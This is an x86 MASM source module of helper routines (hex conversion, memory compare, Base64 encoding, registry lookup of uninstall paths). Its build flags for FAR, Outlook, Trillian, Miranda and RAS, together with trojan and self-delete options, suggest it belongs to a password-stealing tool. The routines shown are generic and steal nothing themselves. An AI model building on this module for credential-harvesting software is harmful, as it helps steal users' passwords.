; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################
        .data
                IFDEF MOD_FAR
                        szBlockBegin    db "--begin--",13,10,0
                        szBlockEnd      db "--end--",13,10,0
                ELSEIFDEF MOD_OUTLOOK
                        szBlockBegin    db "--begin--",13,10,0
                        szBlockEnd      db "--end--",13,10,0
                ELSEIFDEF MOD_WTC       
                        szBlockBegin    db "--begin--",13,10,0
                        szBlockEnd      db "--end--",13,10,0
                ELSEIFDEF MOD_RAS
                        szBlockBegin    db "--begin--",13,10,0
                        szBlockEnd      db "--end--",13,10,0
                ELSEIFDEF MOD_RAS
                        szBlockBegin    db "--begin--",13,10,0
                        szBlockEnd      db "--end--",13,10,0
                ENDIF

                IFDEF MOD_FAR
                        szPassword      db "password",0
                ELSEIFDEF MOD_MIRANDA
                        szPassword      db "password",0
                ELSEIFDEF MOD_TRILLIAN
                        szPassword      db "password",0
                ELSEIFDEF MOD_WTC
                        szPassword      db "password",0
                ENDIF

                IFDEF MOD_TROJ
                        szTextOpen      db "open",0
                ELSEIFDEF MOD_SELFDELETE
                        szTextOpen      db "open",0
                ENDIF

                IFDEF MOD_TRILLIAN
                        szUnPath        db "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\",0
                        szUnStr         db "UninstallString",0
                ELSEIFDEF MOD_RQ
                        szUnPath        db "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\",0
                        szUnStr         db "UninstallString",0
                ENDIF

                IFDEF   MOD_WTC
                        szNilStr        db 0
                ELSEIFDEF MOD_TRILLIAN
                        szNilStr        db 0
                ENDIF
        .code

; #########################################################################

b2hex proc source: BYTE, lpBuffer: DWORD

        ; ==========================
        ; Convert source byte to hex
        ; ==========================

        mov     edx, lpBuffer

        xor     eax, eax
        xor     ecx, ecx

        mov     cl, source
        mov     al, cl
        and     al, 00001111b
        cmp     al, 10
        sbb     al, 69h
        das
        mov     [edx+1], al

        mov     al, cl
        shr     al, 4
        cmp     al, 10
        sbb     al, 69h
        das
        mov     [edx], al

        ret
b2hex endp

; #########################################################################

TextToHex proc uses edi esi Src: DWORD, Dst: DWORD, Len: DWORD

        ; =====================================
        ; Convert Src binary data to hex in Dst
        ; =====================================

        mov     esi, Src
        mov     edi, Dst

@@:
        invoke  b2hex, [esi], edi
        inc     edi
        inc     edi
        mov     byte ptr[edi], ' '
        inc     edi
        inc     esi
        dec     Len
        jnz     @B

        mov     byte ptr[edi-1], 0 ; Write NULL terminator

        ret
TextToHex endp

; #########################################################################

CompareMem proc uses edi esi Src1, Src2, Len: DWORD

        ; =======================================
        ; Compare memory from Src1, Src2 pointers
        ; =======================================

        xor     eax, eax

        mov     esi, Src1
        mov     edi, Src2

        mov     ecx, Len

@loop:
        mov     dl, [edi]
        cmp     byte ptr[esi], dl
        jne     @end
        inc     edi
        inc     esi
        dec     ecx
        jnz     @loop

        inc     eax
@end:
        ret
CompareMem endp

; #########################################################################

; Base64 encode, removed padding
EncodeBuf proc uses esi edi ebx lpSrc, lpDst, Len: DWORD
        mov     esi, lpSrc
        mov     edi, lpDst
        mov     ecx, Len

        xor     eax, eax
        xor     ebx, ebx

@gen:
        lodsb
        shl     eax, 8
        loop    @@2
        shl     eax, 8
        jmp     @@4
@@2:
        lodsb
        shl     eax, 8
        loop    @@3
        jmp     @@4
@@3:          
        lodsb
        dec     ecx
@@4:           
        push    ecx
        push    4
        pop     ecx
        push    ecx
@@:
        rol     edx, 8
        mov     dl, al
        and     dl, 00111111B        
        shr     eax, 6
        loop    @B

        pop     ecx

@edx_conv:
        cmp     dl, 62
        jae     dl_62_63
        cmp     dl, 51
        ja      digit_0_9
        add     dl, 'A'
        cmp     dl, 'Z'
        jbe     @F
        add     dl, 'a'-'Z'-1
@@:
        jmp     rotate_edx
digit_0_9:
        add     dl, 30h-52
        jmp     rotate_edx
dl_62_63:
        sub     dl, 62
        shl     dl, 2
        add     dl, 43
rotate_edx:
        rol     edx, 8
        loop    @edx_conv

        xchg    eax, edx
        stosd
        xchg    eax, edx

        pop     ecx

        ; CRLF
        inc     ebx
        inc     ebx
        cmp     ebx, 24h
        jnz     @next
        xor     ebx, ebx
        mov     al, 0ah
        stosb
@next:
        or      ecx, ecx
        jnz     @gen

        ret
EncodeBuf endp

; #########################################################################

IFDEF MOD_TRILLIAN
GetUnPath proc lpPath: DWORD
        LOCAL   hkHandle, DataType, BufSize: DWORD

        mov     byte ptr[esi], 0
        invoke  lstrcpy, offset lpBuf4, offset szUnPath
        invoke  lstrcat, offset lpBuf4, lpPath

        invoke  RegCreateKey, HKEY_LOCAL_MACHINE, offset lpBuf4, addr hkHandle
        test    eax, eax
        jnz     @ret

        mov     BufSize, MAX_PATH
        invoke  RegQueryValueEx, hkHandle, offset szUnStr, NULL, addr DataType, esi, addr BufSize
        invoke  RegCloseKey, hkHandle
@ret:
        ret
GetUnPath endp
ELSEIFDEF MOD_RQ
GetUnPath proc lpPath: DWORD
        LOCAL   hkHandle, DataType, BufSize: DWORD

        mov     byte ptr[esi], 0
        invoke  lstrcpy, offset lpBuf4, offset szUnPath
        invoke  lstrcat, offset lpBuf4, lpPath

        invoke  RegCreateKey, HKEY_LOCAL_MACHINE, offset lpBuf4, addr hkHandle
        test    eax, eax
        jnz     @ret

        mov     BufSize, MAX_PATH
        invoke  RegQueryValueEx, hkHandle, offset szUnStr, NULL, addr DataType, esi, addr BufSize
        invoke  RegCloseKey, hkHandle
@ret:
        ret
GetUnPath endp
ENDIF
